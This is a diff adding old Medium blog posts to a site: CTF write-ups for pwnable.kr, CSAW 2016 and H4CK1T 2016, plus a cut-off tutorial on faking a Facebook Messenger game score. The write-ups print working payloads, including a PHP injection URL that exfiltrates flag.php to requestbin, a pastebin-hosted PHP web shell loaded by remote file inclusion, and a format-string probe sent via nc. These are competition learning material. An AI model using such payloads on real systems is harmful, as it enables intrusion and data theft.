+          <p name="a905" id="a905" class="graf graf--p graf-after--p">According to the code, fd is calculated by atoi(
+            argv[1] ) — 0x1234: it converts the user input into an integer and subtracts 0x1234, or 4660 in decimal.
+            To make fd equal to 0, we simply pass 4660 as an argument. This should cause the program to prompt us for
+            input. Now we just enter LETMEWIN, and it should print out the flag :)</p>
+          <blockquote name="8dca" id="8dca" class="graf graf--blockquote graf-after--p graf--trailing">mommy! I think
+            I know what a file descriptor is!!</blockquote>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/f9b66ed3a312"><time class="dt-published"
+          datetime="2015-10-20T18:20:38.431Z">October 20, 2015</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/pwnable-kr-fd-1-f9b66ed3a312" class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-09-07_So--I-started-a-blog.md

@@ -0,0 +1,34 @@
+---
+title: So. I started a blog.
+date: 2016-09-07T20:18:04.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="3307" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="d54d" id="d54d" class="graf graf--p graf-after--h3">Hi. I’m Michael, a college freshman at the
+            University of Minnesota. I love writing code, and I would frequently participate in capture-the-flag (CTF)
+            competitions! I might be posting more about those here.</p>
+          <p name="138d" id="138d" class="graf graf--p graf-after--p">I’ll use this space to rant about life. And post
+            CTF writeups too (maybe).</p>
+          <p name="2f45" id="2f45" class="graf graf--p graf-after--p graf--trailing">I’m really trying to change my
+            study/life habits now that I have more freedom. More specifically, going to sleep at 3:00am every day
+            isn’t going to work anymore. Recently I started waking up at 6:15am and I think getting things done in the
+            morning is even easier than getting things done at night for me. Only problem is the waking up part. I’ll
+            try it for a couple weeks and I’ll let you guys know how it goes.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/f2d0db8a955d"><time class="dt-published"
+          datetime="2016-09-07T20:18:04.000Z">September 7, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/so-i-started-a-blog-f2d0db8a955d" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-09-18_CSAW-CTF-2016-Quals.md

@@ -0,0 +1,98 @@
+---
+title: CSAW CTF 2016 Quals
+date: 2016-09-18T23:04:12.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="81bc" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="3250" id="3250" class="graf graf--p graf-after--h3">Over the weekend, I worked with the team
+            Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here I’m going to
+            document the problems that I solved during the competition.</p>
+          <h3 name="74cf" id="74cf" class="graf graf--h3 graf-after--p">Coinslot</h3>
+          <p name="7bae" id="7bae" class="graf graf--p graf-after--h3">For 25 points, the objective of this problem is
+            to output which coins/bills are needed for a given amount of money. When you connect to the server, it
+            will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To
+            do this, I wrote a Python client to interact with the server.</p>
+          <pre name="7d34" id="7d34"
+            class="graf graf--pre graf-after--p">import socket<br>s = socket.socket()<br>s.connect((“misc.chal.csaw.io”, 8000))</pre>
+          <pre name="8c45" id="8c45"
+            class="graf graf--pre graf-after--pre">def recv(end=’\n’):<br>    c, t = ‘’, ‘’<br>    while c != end:<br>    c = s.recv(1)<br>    t += c<br>    return t</pre>
+          <p name="79eb" id="79eb" class="graf graf--p graf-after--pre">This code will open a connection to the server
+            and read input until a certain character is reached. The algorithm for this problem is rather simple;
+            starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the
+            denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then
+            subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this:
+          </p>
+          <pre name="8793" id="8793"
+            class="graf graf--pre graf-after--p">r = recv()<br>amt = int(r.strip(“$”).strip().replace(“.”, “”))<br>print amt<br>for denom in denoms:<br>    n = amt // denom<br>    s.send(“%d\n” % n)<br>    amt %= denom<br>recv()</pre>
+          <p name="2a5d" id="2a5d" class="graf graf--p graf-after--pre">Upon success, the server will then ask another
+            amount. I didn’t keep track of how many times it asked, but I wrapped the above code in a <code
+              class="markup--code markup--p-code">while True</code> loop and eventually I got the flag.</p>
+          <h3 name="bc76" id="bc76" class="graf graf--h3 graf-after--p">mfw</h3>
+          <p name="0e1b" id="0e1b" class="graf graf--p graf-after--h3">In this challenge we were presented with a site
+            with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and
+            Bootstrap. Upon seeing git, I immediately thought to check if the <code
+              class="markup--code markup--p-code">.git</code> folder was actually stored in the www root, and it was!
+            I ripped the git folder off the site and cloned it to restore the original folder structure.</p>
+          <p name="34a9" id="34a9" class="graf graf--p graf-after--p">There was a <code
+              class="markup--code markup--p-code">flag.php</code> in the templates folder, but the actual flag was
+            missing. That means I had to retrieve the flag from the actual server.</p>
+          <p name="c3f9" id="c3f9" class="graf graf--p graf-after--p">From the way the navigation bar was constructed,
+            it looks like I need to use local file inclusion. But I couldn’t use php’s <code
+              class="markup--code markup--p-code">base64</code> filter to print the contents of <code
+              class="markup--code markup--p-code">flag.php</code> because the <code
+              class="markup--code markup--p-code">$file</code> variable will stick ”templates/” to the front of the
+            given page before it’s <code class="markup--code markup--p-code">require_once</code>’d.</p>
+          <p name="c2bf" id="c2bf" class="graf graf--p graf-after--p">The trick to solving this one is injecting PHP
+            commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead,
+            I made a <a href="http://requestb.in" data-href="http://requestb.in"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">requestbin</a> that I would make
+            a GET request to, containing the contents of <code class="markup--code markup--p-code">flag.php</code>!
+          </p>
+          <p name="61df" id="61df" class="graf graf--p graf-after--p">The page I requested was:</p>
+          <pre name="8255" id="8255"
+            class="graf graf--pre graf-after--p">http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27</pre>
+          <p name="80fb" id="80fb" class="graf graf--p graf-after--pre">Un-URL encoded, this looks like:</p>
+          <pre name="4d99" id="4d99"
+            class="graf graf--pre graf-after--p">flag’ + fopen(‘http://requestb.in/1l5k31z1?p=&#39; . urlencode(file_get_contents(‘templates/flag.php’)), ‘r’) + ‘</pre>
+          <p name="e3c2" id="e3c2" class="graf graf--p graf-after--pre">As you can see, I’m reading the contents of
+            <code class="markup--code markup--p-code">flag.php</code>, URL-encoding it, and sending it to this
+            requestbin. This way, I can retrieve it from the requestbin later.
+          </p>
+          <h3 name="1a12" id="1a12" class="graf graf--h3 graf-after--p">Gametime</h3>
+          <p name="b5b0" id="b5b0" class="graf graf--p graf-after--h3">I got this close to the end of the competition,
+            but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will
+            think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it
+            on a server, this means I could just patch the binary file and re-run it.</p>
+          <p name="5875" id="5875" class="graf graf--p graf-after--p">I opened the exe in IDA, and used Alt+T to
+            search for <code class="markup--code markup--p-code">UDDER FAILURE</code>, the string it prints when you
+            fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the
+            actual thing.</p>
+          <p name="3165" id="3165" class="graf graf--p graf-after--p">In both instances, right above where it prints
+            <code class="markup--code markup--p-code">UDDER FAILURE</code>, there is a <code
+              class="markup--code markup--p-code">jnz</code> that checks if the key you pressed was right. More
+            specifically, this occurs at <code class="markup--code markup--p-code">004014D5</code> and <code
+              class="markup--code markup--p-code">00401554</code>. To invert the condition, I had to change <code
+              class="markup--code markup--p-code">jnz</code> to <code class="markup--code markup--p-code">jz</code>.
+            In opcodes, that’s <code class="markup--code markup--p-code">75</code> and <code
+              class="markup--code markup--p-code">74</code>.
+          </p>
+          <p name="b409" id="b409" class="graf graf--p graf-after--p graf--trailing">Then I just ran the program
+            again, and waited for it to pass all the checks, and I got the flag!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/f9c51dffa34"><time class="dt-published"
+          datetime="2016-09-18T23:04:12.000Z">September 18, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/csaw-ctf-2016-quals-f9c51dffa34" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-10-02_H4CK1T-CTF-2016.md

@@ -0,0 +1,186 @@
+---
+title: H4CK1T CTF 2016
+date: 2016-10-02T20:46:42.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="efb5" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="1568" id="1568" class="graf graf--p graf-after--h3">Over the past week, I again worked with Gophers
+            in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points.
+            Here are some of my writeups.</p>
+          <h3 name="6a51" id="6a51" class="graf graf--h3 graf-after--p">Algeria (250)</h3>
+          <p name="dab1" id="dab1" class="graf graf--p graf-after--h3">In this task we are given an encrypted image as
+            well as the encryption script. The script looks like this (condensed):</p>
+          <pre name="7b4d" id="7b4d"
+            class="graf graf--pre graf-after--p">x = random.randint(1,255)<br>y = random.randint(1,255)</pre>
+          <pre name="4540" id="4540"
+            class="graf graf--pre graf-after--pre">img_pix.putpixel((0,0),(len(FLAG),x,y))</pre>
+          <pre name="636c" id="636c"
+            class="graf graf--pre graf-after--pre">for l in FLAG:<br>    x1 = random.randint(1,255)<br>    y1 = random.randint(1,255)<br>    img_pix.putpixel((x,y),(ord(l),x1,y1))<br>    x = x1<br>    y = y1</pre>
+          <pre name="5375" id="5375" class="graf graf--pre graf-after--pre">img_pix.save(‘encrypted.png’)</pre>
+          <p name="f59f" id="f59f" class="graf graf--p graf-after--pre">It seems that each character of the flag is
+            placed at random points in the encrypted image. Fortunately, each character also comes with the
+            coordinates of the next character. To solve the challenge, we just write a reversing script.</p>
+          <pre name="61b5" id="61b5"
+            class="graf graf--pre graf-after--p">FLAG = “”<br>img = Image.open(“encrypted.png”)<br>img_pix = img.convert(“RGB”)</pre>
+          <pre name="bd59" id="bd59"
+            class="graf graf--pre graf-after--pre">FLAG_LEN, x, y = img_pix.getpixel((0, 0))<br>for i in range(FLAG_LEN — 1):<br>    c, x, y = img_pix.getpixel((x, y))<br>    FLAG += chr(c)</pre>
+          <pre name="cd1f" id="cd1f" class="graf graf--pre graf-after--pre">print FLAG</pre>
+          <p name="d169" id="d169" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}</code>.</p>
+          <h3 name="e98b" id="e98b" class="graf graf--h3 graf-after--p">Argentina (100)</h3>
+          <p name="dbc4" id="dbc4" class="graf graf--p graf-after--h3">I’m guessing the point of this problem was for
+            you to go through the network data and look for the right packets, but I just used <code
+              class="markup--code markup--p-code">strings</code>.</p>
+          <pre name="4678" id="4678"
+            class="graf graf--pre graf-after--p">$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t<br>PASS h4ck1t{i_G07_ur_f1l3s}</pre>
+          <p name="5407" id="5407" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{i_G07_ur_f1l3s}</code>.</p>
+          <h3 name="d1f6" id="d1f6" class="graf graf--h3 graf-after--p">Brazil (100)</h3>
+          <p name="d93e" id="d93e" class="graf graf--p graf-after--h3">In this challenge, we get a ZIP full of random
+            files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided
+            to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.</p>
+          <p name="ccd5" id="ccd5" class="graf graf--p graf-after--p">There are many tools out there that can help
+            open this type of file. I used <a href="https://thumbsviewer.github.io"
+              data-href="https://thumbsviewer.github.io" class="markup--anchor markup--p-anchor" rel="noopener"
+              target="_blank">Thumbs Viewer</a>. Either way, the flag is the name of one of the thumbnails, <code
+              class="markup--code markup--p-code">h4ck1t{75943a3ca2223076e997fe30e17597d4}</code>.</p>
+          <h3 name="7d4a" id="7d4a" class="graf graf--h3 graf-after--p">Canada (300)</h3>
+          <p name="4a27" id="4a27" class="graf graf--p graf-after--h3">I don’t think I did this the intended way, but
+            we were given a binary that apparently produces an output file. But I just did</p>
+          <pre name="62cc" id="62cc"
+            class="graf graf--pre graf-after--p">$ strings parse | grep h4ck1t<br> to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcan’t scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime</pre>
+          <p name="500e" id="500e" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{T0mmy_g0t_h1s_Gun}</code>.</p>
+          <h3 name="5532" id="5532" class="graf graf--h3 graf-after--p">China (150)</h3>
+          <p name="5d82" id="5d82" class="graf graf--p graf-after--h3">This one was rather annoying. When you first
+            open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the
+            binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended
+            to the end of it.</p>
+          <p name="d14c" id="d14c" class="graf graf--p graf-after--p">At that point, I just <code
+              class="markup--code markup--p-code">binwalk</code>’d the PNG and extracted the ZIP, leading me to <code
+              class="markup--code markup--p-code">flag.txt</code>, containing the flag, <code
+              class="markup--code markup--p-code">h4ck1t{rtf_d0cs_4r3_awesome}</code>.</p>
+          <h3 name="d060" id="d060" class="graf graf--h3 graf-after--p">Chile (100)</h3>
+          <p name="2e87" id="2e87" class="graf graf--p graf-after--h3">We’re told to connect to <code
+              class="markup--code markup--p-code">91.231.84.36:9001</code>. When we connect, we are greeted with a
+            prompt: <code class="markup--code markup--p-code">wanna see?</code></p>
+          <p name="bfaf" id="bfaf" class="graf graf--p graf-after--p">It seems that the program will print back
+            whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
+            <code class="markup--code markup--p-code">printf(input)</code> where <code
+              class="markup--code markup--p-code">input</code> is the user input, then putting format symbols into our
+            input will cause the program to start reading off the stack.
+          </p>
+          <p name="91c7" id="91c7" class="graf graf--p graf-after--p">There was probably a better way to do it, but
+            essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!</p>
+          <pre name="423e" id="423e"
+            class="graf graf--pre graf-after--p">failedxyz@backtick:~$ python -c ‘print “%p-” * 50’ | nc 91.231.84.36 9001<br>wanna see?<br>ok, so…<br>0x7f0778198483–0x7f07781999e0–0x7f0777ec4710–0x7f07781999e0-(nil)-0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d0–0x7f0778198400–0x7f0777e54987–0x7f0778198400-(nil)-0x7f07783c7740–0x7f0777e517d9–0x7f0778198400–0x7f0777e49693-(nil)-0xea7c2294f9fed000–0x7ffe058d71d0–0x4007c1–0x647b74316b633468–0x355f7530595f4431–0x3f374168375f6545–0x7d373f-0x4007f0–0xea7c2294f9fed000–0x7ffe058d72b0-(nil)-(nil)-</pre>
+          <p name="92bf" id="92bf" class="graf graf--p graf-after--pre">If you get rid of the <code
+              class="markup--code markup--p-code">(nil)</code>s and reverse the string (remember endianness), then you
+            should eventually arrive at the flag, which is <code
+              class="markup--code markup--p-code">h4ck1t{d1D_Y0u_5Ee_7hA7??7}</code>.</p>
+          <h3 name="5a4b" id="5a4b" class="graf graf--h3 graf-after--p">Germany (200)</h3>
+          <p name="7699" id="7699" class="graf graf--p graf-after--h3">In this problem, we are given a dump of some
+            Corp User’s home folder. Most of the documents are useless, but what we are looking for is in the AppData
+            folder. More specifically, the transmission of information happens over Skype, so I looked in <code
+              class="markup--code markup--p-code">AppData\Roaming\Skype\live#3aames.aldrich</code>.</p>
+          <p name="e494" id="e494" class="graf graf--p graf-after--p"><code
+              class="markup--code markup--p-code">main.db</code> kinda stuck out, so I opened that first. It was an
+            SQLite database of a bunch of different Skype data. I ended up finding the flag in the <code
+              class="markup--code markup--p-code">Contacts</code> table, in the row containing the user <code
+              class="markup--code markup--p-code">zog black</code>, under <code
+              class="markup--code markup--p-code">province</code> and <code
+              class="markup--code markup--p-code">city</code> columns apparently. The flag was <code
+              class="markup--code markup--p-code">h4ck1t{87e2bc9573392d5f4458393375328cf2}</code>.</p>
+          <h3 name="16a6" id="16a6" class="graf graf--h3 graf-after--p">Mexico (150)</h3>
+          <p name="5e37" id="5e37" class="graf graf--p graf-after--h3">If you click around the navigation bar of the
+            website, you’ll notice that the pages are loaded by <code
+              class="markup--code markup--p-code">index.php?page=example</code>. It probably includes pages through
+            some naive include function without any sanitation, although it appends <code
+              class="markup--code markup--p-code">.php</code> to the end of the filename.</p>
+          <p name="8bdd" id="8bdd" class="graf graf--p graf-after--p">To bypass this, we just stick a <code
+              class="markup--code markup--p-code">%00</code> null character to the end of our URL. Then PHP stops
+            reading when it hits that and won’t append <code class="markup--code markup--p-code">.php</code> after the
+            file. But what file can we include to find the flag?</p>
+          <p name="a0e1" id="a0e1" class="graf graf--p graf-after--p">It occurred to me that if we could include any
+            file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I
+            included looks like this:</p>
+          <pre name="cd28" id="cd28"
+            class="graf graf--pre graf-after--p">if (isset($_GET[‘cmd’]))<br> echo system($_GET[‘cmd’]);<br>?&gt;</pre>
+          <p name="4372" id="4372" class="graf graf--p graf-after--pre">Stick that in a pastebin or something, and
+            then include it in your URL like this:</p>
+          <pre name="5f6d" id="5f6d"
+            class="graf graf--pre graf-after--p">http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00</pre>
+          <p name="e164" id="e164" class="graf graf--p graf-after--pre">Now you can execute shell commands from the
+            URL. Doing an <code class="markup--code markup--p-code">ls</code> on the current directory reveals a file
+            called <code class="markup--code markup--p-code">sup3r_$3cr3t_f1le.php</code>. If you <code
+              class="markup--code markup--p-code">cat sup3r*</code> then you should be able to get the flag: <code
+              class="markup--code markup--p-code">h4ck1t{g00d_rfi_its_y0ur_fl@g}</code>.</p>
+          <h3 name="4b38" id="4b38" class="graf graf--h3 graf-after--p">Mongolia (100)</h3>
+          <p name="e011" id="e011" class="graf graf--p graf-after--h3">In this problem we are asked to connect to
+            <code class="markup--code markup--p-code">ctf.com.ua:9988</code> and solve math problems. We told <code
+              class="markup--code markup--p-code">C = A ^ B</code> and then given C, we are asked to find A and B.
+            Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
+            good idea.
+          </p>
+          <p name="486d" id="486d" class="graf graf--p graf-after--p">The algorithm we used was to prime-factorize C,
+            and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like
+            2 appeared more than once, we multiply it twice into A, rather than making B twice as large.</p>
+          <p name="2a7c" id="2a7c" class="graf graf--p graf-after--p">We used the Sieve of Atkin to generate a list of
+            primes up to 10,000,000 (although we probably didn’t need that many), and stored it into <code
+              class="markup--code markup--p-code">primes.txt</code>. The final program looks like this:</p>
+          <pre name="f6c7" id="f6c7"
+            class="graf graf--pre graf-after--p">from collections import Counter<br>import socket</pre>
+          <pre name="7f31" id="7f31"
+            class="graf graf--pre graf-after--pre">s = socket.socket()<br>s.connect((“ctf.com.ua”, 9988))</pre>
+          <pre name="50f2" id="50f2"
+            class="graf graf--pre graf-after--pre">primes = map(int, open(“primes.txt”).read().split(“ “))<br>i = 0<br>while True:<br>    o = s.recv(8192)<br>    print o<br>    q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)<br>    r = int(q[-1])<br>    print r<br>    done = False<br>    factors = []<br>    for prime in primes:<br>        while r % prime == 0:<br>            factors.append(prime)<br>            r //= prime<br>    c = Counter(factors)<br>    f = zip(*c.items())<br>    B = min(c.values())<br>    print f, c<br>    A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)<br>    if B == 1: A = r<br>    print A, B<br>    s.send(“%s %s\n” % (A, B))</pre>
+          <p name="16fa" id="16fa" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}</code>.</p>
+          <h3 name="51b1" id="51b1" class="graf graf--h3 graf-after--p">Oman (50)</h3>
+          <p name="8660" id="8660" class="graf graf--p graf-after--h3">I was so excited to do this challenge! Once I
+            unzipped the file and saw the folders and files, I knew it was a Minecraft world save!</p>
+          <p name="13b9" id="13b9" class="graf graf--p graf-after--p">I kind of saw it coming, but once I opened the
+            world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above
+            the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I
+            assumed it meant that.</p>
+          <p name="3476" id="3476" class="graf graf--p graf-after--p">Thing is if you play, and step on the pressure
+            plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
+            just selected the bedrock region and deleted it, revealing the flag below: <code
+              class="markup--code markup--p-code">h4ck1t{m1n3craft_h4c3r}</code>.</p>
+          <h3 name="d421" id="d421" class="graf graf--h3 graf-after--p">Paraguay (250)</h3>
+          <p name="3a9c" id="3a9c" class="graf graf--p graf-after--h3">Honestly, this one was such a pain in the ass.
+            Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
+            library called <code class="markup--code markup--p-code">pyunpack</code> figures that out for you, by
+            checking the magic number of the file. The final script looks like this:</p>
+          <pre name="1165" id="1165"
+            class="graf graf--pre graf-after--p">from pyunpack import *<br>import shutil</pre>
+          <pre name="e117" id="e117"
+            class="graf graf--pre graf-after--pre">for i in range(100, 0, -1):<br>    Archive(“%d” % i).extractall(“.”)<br>    shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))</pre>
+          <p name="4d19" id="4d19" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}</code> .</p>
+          <h3 name="ee3c" id="ee3c" class="graf graf--h3 graf-after--p">United States (50)</h3>
+          <p name="216c" id="216c" class="graf graf--p graf-after--h3">This one was a freebie. Join their Telegram
+            channel and you get a free flag: <code
+              class="markup--code markup--p-code">h4ck1t{fr33_4nd_$ecur3!}</code>.</p>
+          <h3 name="df84" id="df84" class="graf graf--h3 graf-after--p">Trivia</h3>
+          <p name="7257" id="7257" class="graf graf--p graf-after--h3">There were a lot of trivia questions on the
+            board! They weren’t worth much, but still pretty fun. Here are the solutions:</p>
+          <pre name="28e0" id="28e0"
+            class="graf graf--pre graf-after--p graf--trailing">Cote d’Ivoire: h4ck1t{arpanet}<br>Bolivia: h4ck1t{Tim}<br>Colombia: h4ck1t{heartbleed}<br>Costa Rica: h4ck1t{7}<br>Ecuador: h4ck1t{archie}<br>Finland: h4ck1t{mitnick}<br>Greece: h4ck1t{30}<br>Honduras: h4ck1t{Binary}<br>Italy: h4ck1t{2015}<br>Kazakhstan: h4ck1t{polymorphic}<br>Kyrgyzstan: h4ck1t{smtp}<br>Madagascar: h4ck1t{caesar}<br>Nicaragua: h4ck1t{B@S3_S0_B@S3_}<br>Nigeria: h4ck1t{128}<br>Peru: h4ck1t{Decimal}<br>Phillipines: h4ck1t{creeper}<br>Spain: h4ck1t{social engineering}<br>Venezuela: h4ck1t{admin123}</pre>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/8caf20e4b185"><time class="dt-published"
+          datetime="2016-10-02T20:46:42.000Z">October 2, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/h4ck1t-ctf-2016-8caf20e4b185" class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-12-01_Lightning-Speed-Run.md

@@ -0,0 +1,131 @@
+---
+title: Lightning Speed Run
+date: 2016-12-01T22:26:36.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="6b11" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="a5c4" id="a5c4" class="graf graf--p graf-after--h3">Recently, a new little icon appeared in the
+            text box on Messenger next to the camera icon and payments:</p>
+          <figure name="a818" id="a818" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*pGW634t0gBRppaDV.png" data-width="417" data-height="165"
+              src="https://cdn-images-1.medium.com/max/800/0*pGW634t0gBRppaDV.png">
+            <figcaption class="imageCaption">The games icon.</figcaption>
+          </figure>
+          <p name="c25c" id="c25c" class="graf graf--p graf-after--figure">If you click it, a menu shows up and you
+            can play a number of in-browser games. It seems that the games are run without any plugins, so they use
+            HTML5 to run and interact with Facebook’s API, such as setting scores on the leaderboard and whatnot.</p>
+          <p name="f0a0" id="f0a0" class="graf graf--p graf-after--p">In this post, I’ll look at the game <strong
+              class="markup--strong markup--p-strong">TRACK &amp; FIELD 100M</strong>. The object of this game is to
+            press the left-foot button and the right-foot button as quickly as possible. Since your final score is the
+            elapsed time, lower scores will outrank higher scores. I will explain how to achieve a score of 0:00.01.
+          </p>
+          <h3 name="5a38" id="5a38" class="graf graf--h3 graf-after--p">Step 1: Finding the Source Files</h3>
+          <p name="5644" id="5644" class="graf graf--p graf-after--h3">It turns out that when Messenger loads the
+            source files for the game (which are *.js files) when you first open the game. This makes it easy to
+            figure out which source files are responsible for the actual game logic. In this tutorial, I’ll be using
+            Chrome, but I’ve confirmed that it works on Microsoft Edge as well.</p>
+          <p name="7b9c" id="7b9c" class="graf graf--p graf-after--p">First, open Developer Tools using Ctrl+Shift+I
+            or F12, and go to the Network tab. There might be a few resources loaded already; delete them with the 🛇
+            button. Since we are looking for JavaScript files, open the filter view and select JS.</p>
+          <p name="dcc3" id="dcc3" class="graf graf--p graf-after--p">Now, when Facebook loads the JavaScript source
+            files, they will appear in this view. Open the game menu and press the Play button next to the game TRACK
+            &amp; FIELD 100M. Once you have done this, a few files will start to appear.</p>
+          <figure name="8807" id="8807" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*_aZtMhKZDxW0im1t.png" data-width="676" data-height="275"
+              src="https://cdn-images-1.medium.com/max/800/0*_aZtMhKZDxW0im1t.png">
+            <figcaption class="imageCaption">Network tab in Chrome Developer Tools.</figcaption>
+          </figure>
+          <p name="07f6" id="07f6" class="graf graf--p graf-after--figure">main.js looks like a pretty good place to
+            start. Look at the URL: <code
+              class="markup--code markup--p-code">https://apps-1665884840370147.apps.fbsbx.com/instant-bundle/1230433990363006/1064870650278605/main.js</code>.
+            Since this resource has already been loaded into the browser, we can find it under the Sources tab of
+            Developer Tools. Trace the path, starting from the domain like this:</p>
+          <figure name="360f" id="360f" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*Dcb_QsTKJFFrq2lg.png" data-width="676" data-height="529"
+              src="https://cdn-images-1.medium.com/max/800/0*Dcb_QsTKJFFrq2lg.png">
+            <figcaption class="imageCaption">Finding the source code.</figcaption>
+          </figure>
+          <h3 name="e060" id="e060" class="graf graf--h3 graf-after--figure">Step 2: Analyzing main.js</h3>
+          <p name="df9f" id="df9f" class="graf graf--p graf-after--h3">Go ahead an pretty-print the minified file,
+            just like it suggests. (for those of you who didn’t get that notification, just hit the {} button next to
+            Line/Column. Since this file isn’t obfuscated, it’s fairly easy to just look through the file and figure
+            out what it does.</p>
+          <p name="147a" id="147a" class="graf graf--p graf-after--p">I don’t really know how to explain this part
+            well; if you’re familiar with code, you should be able to traverse the file pretty easily. I eventually
+            arrived at this function:</p>
+          <pre name="65f2" id="65f2"
+            class="graf graf--pre graf-after--p">GameScene.prototype.stepEnd_ = function() {<br>    if (this.isStepTimeOver_(2e3)) {<br>        var e = Math.floor(1e3 * this.timeSpeed_.getTime());<br>        FBInstant.setScore(e),<br>        FBInstant.takeScreenshot(),<br>        this.stepFunc_ = this.stepEnd2_,<br>        this.audience_.fadeTo(.5)<br>    }<br>}</pre>
+          <p name="ff9d" id="ff9d" class="graf graf--p graf-after--pre"><code
+              class="markup--code markup--p-code">stepEnd_</code> is the handler for the event where the user finishes
+            the game. As you can see, it computes the elapsed the time, and multiplies it by 1,000 (probably because
